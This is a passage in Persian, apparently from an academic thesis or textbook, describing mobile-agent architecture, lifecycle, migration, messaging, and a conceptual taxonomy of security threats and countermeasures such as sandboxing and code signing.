  . نشان داده شده است۸-۳اين مفهوم در شكل . تواند در آن اجرا شود  است كه عامل مي٤اي اجرايي، زمينه

  
         زمينه كار عامل زمينه كار عامل زمينه كار عامل زمينه كار عامل----۸۸۸۸----۳۳۳۳شكل شكل شكل شكل 

اي از  در يك مكان مجموعه. ها كه قصد اجرا دارند در نظر گرفت توان مدخلي براي ورود عامل ا ميمكان ر

توان مكان را مشابه  به عبارت ديگر مي. هاي مورد نظر عامل كه براي اجرا احتياج است فراهم شده است سرويس

، ٥كنند كه عبارتند از موتور بازي مي هميدر رابطه با مكان چهار مفهوم نقش م. عاملي براي اجراي عامل دانست سيستم

  .٢ و مدير١، جايگاه٦منابع

                                                        
1 Manufacture 
2 Owner 
3 Place 
4 Context 
5 Engine 
6 Resource 
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 .تواند شامل يك يا چند مكان باشد اي كه مي مجازي  موتور عبارت است از ماشين::::موتورموتورموتورموتور •

 .شود هايي كه توسط ميزبان فراهم مي هاي اطلاعاتي، پردازشگرها و ديگر سرويس  بانك::::منابعمنابعمنابعمنابع •

 . كند مشخص ميآدرس مكان در شبكه را : : : : جايگاهجايگاهجايگاهجايگاه •

 .باشد  مرجع قانوني براي عملكرد مكان مي::::مديرمديرمديرمدير •

  موتور -١-٣-٢-٣

اين موتور . براي اين منظور، مكان بايد در داخل يك موتور قرار گيرد. ها نيستند ها خود قادر به اجراي عامل مكان

ل و مكان را با منابع كند و همچنين ارتباط عام كننده يك ماشين مجازي است كه امكان اجراي عامل را فراهم مي فراهم

توان آن را  مي. در اين مدل موتور بيشتر يك مفهوم فيزيكي است تا صرفاً يك مفهوم مجازي. سازد سيستم را مهيا مي

شود كه  موتور باعث تعريف يك مدل سلسله مراتبي مي.  در نظر گرفتJavaعامل و يا ماشين مجازي  مشابه سيستم

  . كرد مشاهده۹-۳توان آن را در شكل  مي

  
        مراتبي تعريف شده توسط موتورمراتبي تعريف شده توسط موتورمراتبي تعريف شده توسط موتورمراتبي تعريف شده توسط موتور     ساختار سلسله ساختار سلسله ساختار سلسله ساختار سلسله----۹۹۹۹----۳۳۳۳شكل شكل شكل شكل 

تواند دربرگيرنده چندين مكان باشد و هر  تواند شامل چندين موتور باشد و هر موتور مي يك ميزبان در شبكه مي

پشتيباني كند، لازم است كه هر براي آنكه يك موتور بتواند از چندين مكان . تواند به چندين عامل سرويس دهد مكان مي

ها ممكن است مفهوم مكان به صورت جداگانه وجود نداشته  در بعضي از سيستم. مكان داراي يك نام منحصربفرد باشد

  .كند گونه موارد، موتور نقش مكان را بازي مي در اين. باشد

  منابع -۳-۲-۳-۲

ها و  ها، ديسك ها، حافظه اي اطلاعاتي، پردازندهه موتور و مكان با يكديگر دسترسي به منابع داخلي ميزبان نظير بانك

  .كنند ساير منابع را كنترل مي

                                                                                                                                                                     
1 Location 
2 Principals 
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  جايگاه -۳-۲-۳-۳

شود متشكل  جايگاهي كه عامل در آن اجرا مي. هاي متحرك بسيار قابل توجه است مفهوم جايگاه در رابطه با عامل

 و پورت IPه با يك آدرس جايگا. از نام مكان و آدرس شبكه ميزبان آن مكان است كه عامل در آن وجود دارد

  . شود مخصوص موتور آن مكان تعيين مي

  مدير -۳-۲-۳-۴

اين . شود همانند عامل، مكان نيز داراي مديري است كه با بررسي هويت آن، مجوز لازم براي عمل مدير فراهم مي

  .شود ها و مالكان آنها مشخص مي مجوزها توسط توليدكنندگان عامل

  رفتار يك عامل -۳-۲-۴

  .رفتن است كردن، برقراركردن ارتباط و از بين مكان شدن، نقل  ساختهرفتارهاي عامل شامل

  رفتن شدن و از بين ساخته -۳-۲-۴-۱

تواند توسط عاملي صورت گيرد كه در آن مكان قرار دارد  تولد يك عامل مي. شود يك عامل در يك مكان متولد مي

تواند عامل جديد را به  غير عامل نيز ميهمچنين يك سيستم . يا توسط عاملي كه در مكان ديگري قرار دارد انجام شود

سازنده يك عامل قبل از آنكه عاملي را بسازد، بايد خود را به مكان معرفي كند تا به اين ترتيب اعتبار لازم . وجود آورد

 ايجاد كرده را مقداردهي اوليه كند و بدين ترتيب حالت تواند عامل سازنده عامل مي. براي ساختن عامل را بدست آورد

تواند در داخل آن ميزبان قرار داشته باشد و  كلاسي كه كلاس عامل از آن مشتق شده است مي. اوليه آن را مشخص كند

  .ساخته شدن يك عامل شامل سه مرحله و قدم است. يا آنكه بر روي ميزبان ديگري در شبكه موجود باشد

 مشتق شدن و تخصيص دادن نشانهمشتق شدن و تخصيص دادن نشانهمشتق شدن و تخصيص دادن نشانهمشتق شدن و تخصيص دادن نشانه ....۱۱۱۱

شود و سپس عامل جديد از آن مشتق  ربوط به كلاس اوليه بار و اجرا ميسازي م براي انجام اين كار پياده

در اين مرحله يك شناسه منحصربفرد . گردد سازي آن تعيين مي براي كلاس عامل جديد واسطه و پياده. شود مي

 .شود به عامل تخصيص داده مي

 مقداردهي اوليهمقداردهي اوليهمقداردهي اوليهمقداردهي اوليه ....۲۲۲۲

. دكننده براي آن فراهم شده است مقداردهي كندتواند خود را توسط پارامترهايي كه توسط تولي يك عامل مي

 .تواند به صورت كامل بر روي مكان مستقر شود زماني كه مقداردهي اوليه به پايان برسد، عامل مي

 اجراي خودمختاراجراي خودمختاراجراي خودمختاراجراي خودمختار ....۳۳۳۳

تواند  از اين زمان به بعد عامل مي. تواند آغاز شود بعد از استقرار كامل عامل بر روي يك مكان، اجراي آن مي

 .ها به كار خود ادامه دهد ز ساير عاملمستقل ا
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عمل از بين رفتن عامل مشابه تولد آن در . شود، زماني هم بايد از بين برود هر عامل همانطور كه زماني متولد مي

هاي  ها و سيستم ها در آن مكان و يا عامل تواند توسط آن عامل، ساير عامل از بين رفتن يك عامل مي. شود مكان انجام مي

  :علاوه بر اين ممكن است كه يك عامل به دلايل زير از بين برود. هاي ديگر انجام شود امل در مكانغيرع

  

 .عمري كه به عامل تخصيص داده شده است به پايان برسد: : : : پايان يافتن عمرپايان يافتن عمرپايان يافتن عمرپايان يافتن عمر •

 .هيچ كس و يا چيزي از عامل استفاده نكند: : : : عدم استفادهعدم استفادهعدم استفادهعدم استفاده •

 .ي شودوجود عامل باعث بروز مشكلات امنيت: : : : مشكل امنيتيمشكل امنيتيمشكل امنيتيمشكل امنيتي •

 .خاموش شدن سيستم ميزباني كه عامل بر روي آن وجود دازد: : : : خاموش شدن سيستمخاموش شدن سيستمخاموش شدن سيستمخاموش شدن سيستم •

  :گيرد از بين رفتن عامل در دو مرحله صورت مي

 آماده شدن براي از بين رفتنآماده شدن براي از بين رفتنآماده شدن براي از بين رفتنآماده شدن براي از بين رفتن ....۱۱۱۱

 .شود تا كارهاي فعلي خود را قبل از از بين رفتن به اتمام برساند در اين حالت به عامل فرصت داده مي

 ررررپايان يافتن عمپايان يافتن عمپايان يافتن عمپايان يافتن عم ....۲۲۲۲

 .كند مكان اجراي عامل، آن را متوقف مي

  كردن مكان نقل -۳-۲-۴-۲

هاي غيرعامل ديگر  ها يا سيستم هاي ديگر آن مكان و يا ساير عامل تواند توسط خود عامل، عامل عمل انتقال مي

در اين كار مكان . كند در اين صورت عامل از مكان اوليه به مكان مقصد حركت مي. خارج از آن مكان صورت گيرد

قبل از انجام اين كار مكان اوليه از مكان مقصد درخواست انتقال . گيرند داء و مكان مقصد عمل كنترل آن را برعهده ميمب

در صورت مثبت بودن پاسخ، . تواند به صورت مثبت يا منفي پاسخ دهد مكان مقصد در مقابل اين پاسخ مي. كند عامل مي

  . انجام يك انتقال نشان داده شده است مراحل۱۰-۳در شكل . شود عمل انتقال انجام مي
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         مراحل انجام عمل انتقال مراحل انجام عمل انتقال مراحل انجام عمل انتقال مراحل انجام عمل انتقال----۱۰۱۰۱۰۱۰----۳۳۳۳شكل شكل شكل شكل 

تواند به كار خود ادامه دهد، مگر آنكه به كلاس آن عامل دسترسي داشته  عامل بعد از رسيدن به مكان مقصد نمي

  :هاي مختلفي وجود دارد براي دسترسي به كلاس عامل روش. باشد

  عامل در مقصد عامل در مقصد عامل در مقصد عامل در مقصدوجود كلاسوجود كلاسوجود كلاسوجود كلاس •

سيستم   موتور و يا فايلcacheتواند در حافظه  اين كلاس مي. در اين حالت كلاس عامل در مقصد وجود دارد

 اين حالت نشان داده ۱۱-۳در شكل . در اين حالت ديگر احتياج به انتقال كلاس نيست. ميزبان مقصد قرار دارد

  .شده است

  
        س عامل در مقصدس عامل در مقصدس عامل در مقصدس عامل در مقصد وجود كلا وجود كلا وجود كلا وجود كلا----۱۱۱۱۱۱۱۱----۳۳۳۳شكل شكل شكل شكل 

هاي آن و يا محل  مانند نام كلاس، نشانه(در اين مدل تنها لازم است كه اطلاعات مربوط به تعيين كلاس 

 . توسط عامل منتقل شود) تعريف كلاس

  

 وجود كلاس عامل در مبداءوجود كلاس عامل در مبداءوجود كلاس عامل در مبداءوجود كلاس عامل در مبداء •

در . منتقل كرددر صورتيكه كلاس عامل در مبداء وجود داشته باشد، بايد آن را همراه با عامل به ميزبان مقصد 

  . اين حالت نشان داده شده است۱۲-۳شكل 



  ٤٤

  
         كلاس عامل در مبداء كلاس عامل در مبداء كلاس عامل در مبداء كلاس عامل در مبداء----۱۲۱۲۱۲۱۲----۳۳۳۳شكل شكل شكل شكل 

  .شود ايجاد سربار زيادي بر روي شبكه مي واضح است كه استفاده از اين روش باعث 

 Code-on-Demandدسترسي به كلاس عامل به صورت دسترسي به كلاس عامل به صورت دسترسي به كلاس عامل به صورت دسترسي به كلاس عامل به صورت  •

در هر زمان كه عاملي به يك مقصد منتقل . ر شبكه قرار دارددر اين مدل كلاس عامل بر روي سرويسگري د

در . تواند آن كلاس را از سرويسگر مورد نظر درخواست كند و به روي ميزبان خود بياورد شود، آن مكان مي

  . اين حالت نشان داده شده است۱۳-۳شكل 

  
 Code-on-Demand دريافت كلاس عامل به صورت  دريافت كلاس عامل به صورت  دريافت كلاس عامل به صورت  دريافت كلاس عامل به صورت ----۱۳۱۳۱۳۱۳----۳۳۳۳شكل شكل شكل شكل 

  .انتقال دادن عامل و دريافت كردن آن: انتقال يك عامل در ديد كلي شامل دو بخش است

  انتقال دادن عامل - ۱- ۴-۲- ۳-۲

در صورتيكه مقصد براي عامل . شود بايد مقصد خود را مشخص كرده باشد وقتي كه عاملي براي انتقال آماده مي

قصد توسط عامل، آن را به مكان در صورت تعيين م. شود فرض اجرا مي مشخص نباشد، عامل در مكان پيش

  :شود در صورت پذيرش اين مطلب توسط مكان فعلي به ترتيب اعمال زير انجام مي. دهد فعلي اطلاع مي

 معلق كردن عاملمعلق كردن عاملمعلق كردن عاملمعلق كردن عامل ....۱۱۱۱

شود كه كار فعلي  در اين صورت به عامل اجازه داده مي.  شود مبني بر قبول انتقال آن داده مي به عامل پيغامي

 .شود  اجرايي عامل متوقف ميthreadبا اتمام اجراي كار فعلي، . ندخود را به اتمام برسا

 
  



  ٤٥

 سريال كردن عاملسريال كردن عاملسريال كردن عاملسريال كردن عامل ....۲۲۲۲

شود كه  هاي سريال تبديل مي اي از داده بعد از عمل معلق كردن عامل، كلاس عامل و حالت آن به صورت رشته

 .قابل ارسال بر روي شبكه باشد

 كد كردن عامل سريال شدهكد كردن عامل سريال شدهكد كردن عامل سريال شدهكد كردن عامل سريال شده ....۳۳۳۳

 .شوند ل، اطلاعات براي انتقال بر روي پروتكل مورد نظر كد ميدر ادامه كار سريال كردن عام

 ارسال عاملارسال عاملارسال عاملارسال عامل ....۴۴۴۴

كند و عامل كه سريال و كد شده است را بر روي اين ارتباط،  در نهايت موتور، يك ارتباط با مقصد برقرار مي

  .كند منتقل مي

  دريافت كردن عامل - ۲- ۴-۲- ۳-۲

تنها در صورتيكه فرستنده به . قبول عامل را بررسي كندقبل از آنكه موتور، عامل را دريافت كند بايد قبول و يا عدم 

هاي زير  اين عمل شامل قدم. كند هاي ارسالي را دريافت مي صورت كامل تعيين هويت شده باشد، موتور مقصد عامل

  :است

 دريافت عاملدريافت عاملدريافت عاملدريافت عامل ....۱۱۱۱

 .گردد بعد از قبول مقصد با دريافت عامل، عامل سريال و كد شده دريافت مي

 دكد كردن عاملدكد كردن عاملدكد كردن عاملدكد كردن عامل ....۲۲۲۲

 .كند ين قدم موتور، رشته دريافتي را دكد ميدر ا

 خارج كردن از حالت سريالخارج كردن از حالت سريالخارج كردن از حالت سريالخارج كردن از حالت سريال ....۳۳۳۳

شود و عامل بازسازي  هاي دريافتي، اطلاعات كلاس عامل و حالت استخراج مي بعد از عمل دكد شدن داده

 .گردد مي

 از سرگرفتن اجراي عاملاز سرگرفتن اجراي عاملاز سرگرفتن اجراي عاملاز سرگرفتن اجراي عامل ....۴۴۴۴

  .كند د و مكان آن عامل را اجرا ميشو  مبني بر دريافت عامل به مكان داده مي بعد از بازسازي عامل، پيغامي

  برقراركردن ارتباط -۳-۲-۴-۳

يك . هاي متفاوتي قرار دارند ارتباط برقرار كند هاي ديگري كه در يك مكان و يا مكان تواند با عامل يك عامل مي

ا زماني واصح است اين كاره.  را براي آن بفرستد تواند يك تابع از عامل ديگر را اجرا كند و يا آنكه پيغامي عامل مي

توان برقرار كردن ارتباط و انتقال پيغام  در حالت كلي مي. ممكن است كه عامل مورد نظر تعيين هويت كامل شده باشد

آيد  نوع ارتباطي كه بين دو عامل به وجود مي.  تقسيم كرد٢ و يا انتشاري١نقطه-به-ها را به دو حالت نقطه بين عامل

 :م شودتواند به يكي از سه حالت زير انجا مي

  

                                                        
1 Peer-to-peer 
2 Broadcast 



  ٤٦

 now-typeپيغام نوع پيغام نوع پيغام نوع پيغام نوع  •

ايجاد يك   باعث now-typeپيغام نوع . باشد ها مي اين روش متداولترين روش براي برقراري ارتباط بين عامل

 ۱۴-۳در شكل . شود در اين حالت فرستنده پيغام تا دريافت پاسخ آن از اجرا متوقف مي. شود ارتباط همزمان مي

  . استاين نوع از ارتباط نشان داده شده

  
 now-type پيغام نوع  پيغام نوع  پيغام نوع  پيغام نوع ----۱۴۱۴۱۴۱۴----۳۳۳۳شكل شكل شكل شكل 

  

 future-typeپيغام نوع پيغام نوع پيغام نوع پيغام نوع  •

در اين حالت برخلاف روش قبل فرستنده . شود ها استفاده مي اين روش براي يك ارتباط غيرهمزمان بين عامل

 اين ۱۵-۳شكل . دكن رود اما هر زمان كه پاسخ پيغام بازگردد، آنها را دريافت مي پيغام به حالت توقف نمي

  .دهد ارتباط را نشان مي

  
 future-type پيغام نوع  پيغام نوع  پيغام نوع  پيغام نوع ----۱۵۱۵۱۵۱۵----۳۳۳۳شكل شكل شكل شكل 

 
  



  ٤٧

 one-way-typeپيغام نوع پيغام نوع پيغام نوع پيغام نوع  •

آيد و فرستنده به حالت  ها به وجود مي  يك ارتباط غيرهمزمان بين عاملfuture-typeاين حالت همانند مدل 

 ايجاد شده يك ارتباط يك طرفه است و فرستنده  ت كه ارتباطخاصيت اين نوع پيغام در اين اس. رود توقف نمي

 اين نوع پيغام را نشان ۱۶-۳شكل . دهد شود و گيرنده نيز به اين پيام پاسخي نمي متنظر پاسخ دريافت نمي

  .دهد مي

  
        one-way-type پيغام نوع  پيغام نوع  پيغام نوع  پيغام نوع ----۱۶۱۶۱۶۱۶----۳۳۳۳شكل شكل شكل شكل 

  هاي متحرك امنيت در عامل -۳-۳
در اين . شود، مساله برقرارسازي امنيت است هاي متحرك مطرح مي لي كه در برخورد با عامليكي از مهمترين مسائ

  .[13]بخش سعي شده است كه به اين مساله پرداخته شود

  مشكلات امنيتي -۳-۳-۱

كنند دو شي وجود دارد كه در آنها بررسي مساله  هاي متحرك استفاده مي در يك برنامه توزيع شده كه از عامل

توان مشكلات  با توجه به اين مساله مي. اين دو شي عبارتند از عامل و ميزبان. يت بيشتري برخوردار استامنيت از اهم

ميزبان در مقابل عامل، عامل در مقابل ميزبان، عامل در مقابل عامل و :  تقسيم كرد كه عبارتند از امنيتي را به چهار دسته

  . اين چهار حالت نشان داده شده است۱۷-۳در شكل . ميزبان و عامل در مقابل ساير موارد



  ٤٨

  
        هاي متحركهاي متحركهاي متحركهاي متحرك     چهار حالت مشكلات امنيتي در عامل چهار حالت مشكلات امنيتي در عامل چهار حالت مشكلات امنيتي در عامل چهار حالت مشكلات امنيتي در عامل----۱۷۱۷۱۷۱۷----۳۳۳۳شكل شكل شكل شكل 

  ميزبان در مقابل عامل -۳-۳-۱-۱

اين دسته از مشكلات مريوط به زماني است كه عامل با استفاده از مشكلات و نقاط ضعفي كه در ميزبان وجود دارد 

، ١تغيير چهره دادن: شوند ايجاد كند به سه دسنه كلي تقسيم مي تواند  ميمشكلاتي كه عامل در اين رابطه. به آن ضربه بزند

 . و دسترسي غيرمجاز٢از كاراندازي سرويس

 تغيير چهره دادنتغيير چهره دادنتغيير چهره دادنتغيير چهره دادن •

كند كه خود را به جاي عامل مجاز ديگري جايگزين كند، عمل را تغيير  كه يك عامل غيرمجاز سعي مي هنگامي

 تغيير قيافه داده است با معرفي خود به عنوان يك عامل مجاز يك عامل غيرمجاز كه. گويند چهره دادن مي

تواند صحت عامل مجاز را  علاوه بر اين عامل تغيير قيافه داده مي. تواند به منابع سيستم دسترسي پيدا كند مي

 .دچار مشكل كند

 از كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويس •

 ميزبان آن را دچار مشكل از كاراندازي تواند با انجام محاسبات زياد و بيش از حد بر روي سيستم يك عامل مي

پذير سيستم براي انجام كار خود  يك حمله از كاراندازي سرويس معمولاً از نقاط آسيب. ها بكند سرويس

تواند از طريق اين  با توجه به پيكربندي خاص سيستم از لحاظ امنيتي ميزان آسيبي كه عامل مي. كنند استفاده مي

 .واهد بودحمله وارد آورد متفاوت خ

  

                                                        
1 Masquerading  
2 Denial of Service (DoS) 



  ٤٩

 دسترسي غيرمجازدسترسي غيرمجازدسترسي غيرمجازدسترسي غيرمجاز •

كنند جلوي دسترسي غيرمجاز افراد و  ها، امكانات كنترل دسترسي با استفاده از ليستي كه فراهم مي در سيستم

شود بايد  كه توسط ميزباني دريافت مي هر عامل هنگامي. كنند هاي مختلف را به منابع سيستم محدود مي برنامه

 اين منظور در ابتدا عامل بايد تعيين هويت شود و بعد از مشخص شدن براي. توسط ليست كنترل بررسي شود

وقتي كه عاملي بتواند بدون عبور از ليست كنترل وارد . شناسه آن، بايد توسط ليست كنترل بررسي گردد

  .ها و ميزبان آسيب برساند تواند به ساير عامل سيستم شود مي

  عامل در مقابل ميزبان -۳-۳-۱-۲

حملاتي كه در اين . دهد كند و آن را مورد حمله قرار مي مشكلات امنيتي عامل استفاده ميدر اين حالت ميزبان از 

 .٢ايجاد تغيير  و١تغيير قيافه دادن، از كاراندازي سرويس، استراق سمع: تواند مورد استفاده قرار گيرد عبارتند از حالت مي

 تغيير قيافه دادنتغيير قيافه دادنتغيير قيافه دادنتغيير قيافه دادن •

د را به عنوان يك ميزبان امن و معتبر معرفي كند و به اين ترتيب تواند با تغيير قيافه دادن، خو يك ميزبان مي

بدين . رود با اين كار عامل به گمان اينكه اين ميزبان، ميزبان مقصد است به آن مي. دهد عامل را فريب مي

د اين كار هم عامل را مور. توان اطلاعات عامل را استخراج كرد ترتيب بعد از دريافت عامل توسط ميزبان، مي

 .كند را كه ميزبان اصلي بوده از دريافت عامل محروم مي دهد و هم سيستمي  حمله قرار مي

 از كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويس •

شود، از ميزبان انتظار دارد كه منابع سيستم را در اختيارش قرار دهند  وقتي كه عاملي توسط ميزباني دريافت مي

تواند با عدم در اختيار قرار دادن منابع و  ن حمله، ميزبان ميدر اي. و آنها را به صورت امن مورد استفاده قرار دهد

هايي كه منتظر دريافت اين  به اين ترتيب عامل و همچنين ميزبان. يا اجرا نكردن عامل، آن را دچار مشكل كند

 .توانند كار خود را به درستي انجام دهند ها هستند نمي عامل

 استراق سمعاستراق سمعاستراق سمعاستراق سمع •

هايي كه از  نمود بهتر اين حمله در سيستم. ردن مخفي يك ارتباط استك روش كلاسيك اين حمله بازبيني

دهد، چرا كه ميزبان نه تنها به اطلاعات داخل عامل  كنند خود را بهتر نشان مي هاي متحرك استفاده مي عامل

 .تواند روند انجام كد عامل را نيز ببيند دسترسي دارد بلكه مي

 ايجاد تغييرايجاد تغييرايجاد تغييرايجاد تغيير •

دهد  شود، كد، اطلاعات و حالت اجرايي خود را در اختيار ميزبان قرار مي بان وارد ميوقتي كه عاملي به يك ميز

تواند با تغيير كد عامل رفتار آن را تغيير دهد و آن را مطابق  در اين حالت يك ميزبان مي. تا آن را اجرا كند

  .خواسته خود مورد استفاده قرار دهد

                                                        
1 Eavesdropping 
2 Alteration 



  ٥٠

  عامل در مقابل عامل -۳-۳-۱-۳

شود كه يك عامل از نقطه ضعف امنيتي عامل ديگري استفاده كند و آن را  ملات را شامل مياي از ح اين حالت دسته

توانند رخ دهند عبارتند از حمله تغيير قيافه دادن، دسترسي  در اين مدل از حمله، حملاتي كه مي. مورد حمله قرار دهد

 .١غيرمجاز، از كاراندازي سرويس و حمله انكار

 تغيير قيافه دادنتغيير قيافه دادنتغيير قيافه دادنتغيير قيافه دادن •

تواند با تغيير دادن شناسه خود عامل ديگر را  گيرد، يك عامل مي ارتباط كه بين دو عامل صورت ميدر يك 

تواند خود را به عنوان عاملي از يك سرويس معتبر معرفي كند تا عامل  براي مثال يك عامل مي. فريب دهد

 .مقابل را فريب دهد و بدين ترتيب اطلاعات خاصي از آن عامل را بدست آورد

 ترسي غيرمجازترسي غيرمجازترسي غيرمجازترسي غيرمجازدسدسدسدس •

اگر عاملي سياست و مكانيزم كنترل دسترسي نداشته باشد، ممكن است كه مستقيماً توسط عاملي ديگر مورد 

توان  با استفاده از اين روش مي.  استفاده قرار گيرد و يا آنكه توابع آن توسط عاملي ديگر فراخوانده شود

  . ايجاد كرد به كد عامل را  كردن و دسترسي buffer overflow ،resetمشكلاتي نظير 

 از كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويس •

تواند عامل  توانست يك ميزبان را با استفاده از اين روش مورد حمله قرار دهد مي همانطور كه يك عامل مي

تواند   بفرستد مي براي مثال اگر يك عامل بطور مداوم براي عامل ديگر پيغام. ديگر را نيز مورد حمله قرار دهد

تواند براي جلوگيري از اين حمله جلوي  عامل مقابل مي. ها در عامل مقابل شود راندازي سرويسباعث از كا

 .بر است اما اين كار خود احتياج به پردازش دارد و زمان. هاي ناخواسته را بگيرد پيغام

 حمله انكارحمله انكارحمله انكارحمله انكار •

از پايان كار اين اين حالت وقتي ممكن است رخ دهد كه يك عامل در ارتباطي شراكت داشته باشد اما بعد 

نويسي در  اين كار ممكن است از روي عمد صورت بگير و يا آنكه به علت مشكل برنامه. شراكت را انكار كند

  . كد عامل به وجود آيد

  ميزبان و عامل در مقابل ساير -۳-۳-۱-۴

.  قرار گيردشود كه عامل يا ميزبان توسط عوامل خارجي مورد حمله اي از موارد مي ها شامل پاره اين دسته از آسيب

 .باشد  مي٢اين حملات شامل تغيير قيافه دادن، از كاراندازي سرويس، دسترسي غيرمجاز و كپي و پاسخ

 تغيير قيافه دادنتغيير قيافه دادنتغيير قيافه دادنتغيير قيافه دادن •

در اين حالت هر . دور درخواست كند تواند سرويسي را از ميزباني به صورت محلي و يا راه يك عامل مي

را به عنوان عامل ديگري معرفي كند و درخواستي را از يك تواند خود  كه در ميزباني قرار دارد مي سيستمي
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همچنين يك ميزبان . دور بكند و سرويسي را طلب كند كه اجازه دسترسي به آن را نداشته باشد ميزبان راه

 .تواند خود را به عنوان ميزبان امن معرفي كند و به دورخواست آمده پاسخ دهد مي

 از كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويساز كاراندازي سرويس •

هاي ارائه شده توسط ميزبان  سرويس. دور درخواست شود تواند بطور محلي يا راه يزبان ميهاي يك م سرويس

تواند در مقابل اين  يك ميزبان عامل نيز مي. تواند به واسطه حملات رايج از كاراندازي سرويس متوقف شوند مي

 .حملات آسيب ببيند

 دسترسي غيرمجازدسترسي غيرمجازدسترسي غيرمجازدسترسي غيرمجاز •

دسترسي . هايي بكنند كه مجوز آنها را نداشته باشند  است درخواستدور ممكن هاي راه كاربران، فرايندها و عامل

 .دور به يك ميزبان بايد با اطمينان كامل حفاظت شود راه

 كپي و پاسخكپي و پاسخكپي و پاسخكپي و پاسخ •

هاي مربوطه را بگيرد و سپس آنها  تواند جلوي ارسال عامل و يا پيغام در اين روش، يك كاربر يا يك برنامه مي

ي مثال اگر عاملي درخواست خريد كالايي را براي يك بار داشته باشد، يك برا. را كپي و مجدداً ارسال كند

  .تواند اين درخواست را كپي و سپس آن را چندين بار ارسال كند كاربر مي

  اقدام متقابل -۳-۳-۲

هايي متحرك استفاده  هايي كه از عامل با توجه به موارد و مشكلات امنيتي كه گفته شد، لازم است كه در سيستم

توان به دو دسته كلي حفاظت  ها را مي اين روش. هايي براي حفاظت در مقابل حملات بكار گرفته شود روشكنند  مي

  .شود در ادامه به شرح اين موارد پرداخته مي. عامل و حفاظت ميزبان تقسيم كرد

  حفاظت ميزبان -۳-۳-۲-۱

ها  مينان از عدم آسيب ميزبانكنند اط هاي متحرك استفاده مي هايي كه از عامل يكي از موارد مهم در حفاظت سيستم

  .هايي كه وجود دارند به ترتيب زير است براي به وجود آمدن اين اطمينان روش. باشد ها مي توسط عامل

 افزاريافزاريافزاريافزاري    ها به صورت نرمها به صورت نرمها به صورت نرمها به صورت نرم    جداسازي دامنه خطاي عاملجداسازي دامنه خطاي عاملجداسازي دامنه خطاي عاملجداسازي دامنه خطاي عامل •

 هر ماجول هايي تقسيم شود كه آيد، منظور اين است كه برنامه به ماجول همانطور كه از مفهوم اين امر بر مي

براي (هاي غير امن  هايي كه به زبان شود كه برنامه اين كار باعث مي. دامنه خطاي مربوط به خود را داشته باشد

براي انجام اين كار به هر يك فضاي حافظه مجازي مستقلي . اند، به صورت امن اجرا شوند نوشته شده) Cمثال 

اي كه به هر دامنه تخصيص داده شده است  توانند از طريق نشانه ها مي به اين ترتيب برنامه. شود تخصيص داده مي

  .شود ناميده مي  نيز sandboxاين روش . به منابع سيستم دسترسي پيدا كنند

 تفسير امن كدتفسير امن كدتفسير امن كدتفسير امن كد •

علت اصلي انجام اين كار . شوند  گونه و قابل تفسير نوشته ميscriptهاي عامل معمولاً توسط يك زبان  برنامه

ايده كار در تفسير امن به اين ترتيب  . باشد افزاري مي افزاري و نرم ي بسترهاي مختلف سختاجراي عامل بر رو
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شود در اگر نتواند آن را به صورت  است كه يك دستور اگر امن تشخيص داده نشود، سعي در اجرا امن آن مي

گيرد،  ورد استفاده قرار ميهاي رايج كه به عنوان مفسر زبان م يكي از زبان. كند امن اجرا كند، آن را حذف مي

ايمني لازم را مهيا  سازد،   از طريق فضاهاي امني كه براي اجراي كد ميJava.  استJavaنويسي  زبان برنامه

علاوه بر . كنند  نيز از اين مزيت استفاده ميAgletاند مانند  سازي شده هايي كه بر اين اساس پياده سيستم. كند مي

Javaيكي از . گيرند هاي متحرك مورد استفاده قرار مي وجود دارند كه براي نوشتن عاملهاي ديگري نيز   زبان

  . استTclكند زبان  هايي كه اجراي امن كد را پشتيباني مي مهمترين زبان

 امضاء كردن كدامضاء كردن كدامضاء كردن كدامضاء كردن كد •

از اين ابزار . ها مجهز به امضاي ديجيتالي باشند ها اين است كه عامل هاي حفاظت در مقابل عامل يكي از روش

. اي براي براي تعيين هويت و بدست آوردن صلاحيت لازم استفاده كرد توان به عنوان وسيله مي

امضاء كردن . كند ايجادكننده امضاء يا صاحب عامل است يا سازنده آن و يا كسي كه عامل را بازبيني مي معمولاً

  .شود انجام مي كد با استفاده از كليد عمومي

 بازبيني حالت عاملبازبيني حالت عاملبازبيني حالت عاملبازبيني حالت عامل •

. ن بازبيني، بررسي اين مطلب است كه ممكن است عامل به علت تغيير حالتش خراب عمل كندهدف از اي

براي انجام اين كار بايد بعد از دريافت . بيني كرد استفاده از اين روش زماني است كه بتوان حالت عامل را پيش

تواند توسط تابعي انجام شود  اين كار مي. عامل و قبل از اجراي آن حالت عامل ورودي مورد بررسي قرار بگيرد

 .سازي شود اين تابع بايد توسط سازنده كد عامل پياده. دهد كه حالت عامل را گزارش مي

 سابقه مسير حركتسابقه مسير حركتسابقه مسير حركتسابقه مسير حركت •

. ايده اين روش در اين است كه قبل از استفاده از عامل، گذشته و و مسير طي شده توسط عامل بررسي شود

هنگاميكه ميزباني، . تاريخچه بايد آن را به صورت رمز نگه داشتايجاد خرابكاري در اين  براي جلوگيري از 

هايي كه توسط اين عامل پيموده شده است اين اطمينان را بدست  عاملي را دريافت كرد با بررسي ميزبان

 .توان عامل را پذيرفت و يا خير آوردكه مي مي

 اطمينان كد انتقالياطمينان كد انتقالياطمينان كد انتقالياطمينان كد انتقالي •

 ايمني لازم كه توسط موسسه توليدكننده سيستم مبتني بر  كاتشود كه ن در اين روش توليدكننده كد متعهد مي

اين . كند به اين ترتيب اطمينان از صحت كد را تضمين مي. عامل ارائه شده است در داخل كد استفاده كند

كه امضاء ديجيتالي كد يك روش براي تعيين هويت كد  روش يك روش بازدارنده از حمله است در حالي

  .است

  حفاظت عامل -۳-۳-۲-۲

ها نيز به وجود اين اطمينان احتياج  ها حفاظت كامل را داشته باشند، عامل هاي عامل مانطور كه لازم است ميزبانه

 :هايي كه براي انجام اين كار وجود دارد عبارتند از روش. دارند
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 كپسوله كردن اطلاعاتكپسوله كردن اطلاعاتكپسوله كردن اطلاعاتكپسوله كردن اطلاعات •

 موارد انجام داد كپسوله كردن ها در مقابل ميزبان و يا ساير توان براي حفاظت عامل يكي از كارهايي كه مي

اطلاعاتي . هاي گوناگوني انجام شود تواند به دلايل مختلف و با روش اين عمل مي. باشد ها مي نتيجه عمل عامل

 .شوند بايد با توجه به هدف عامل انتخاب شوند كه كپسوله مي

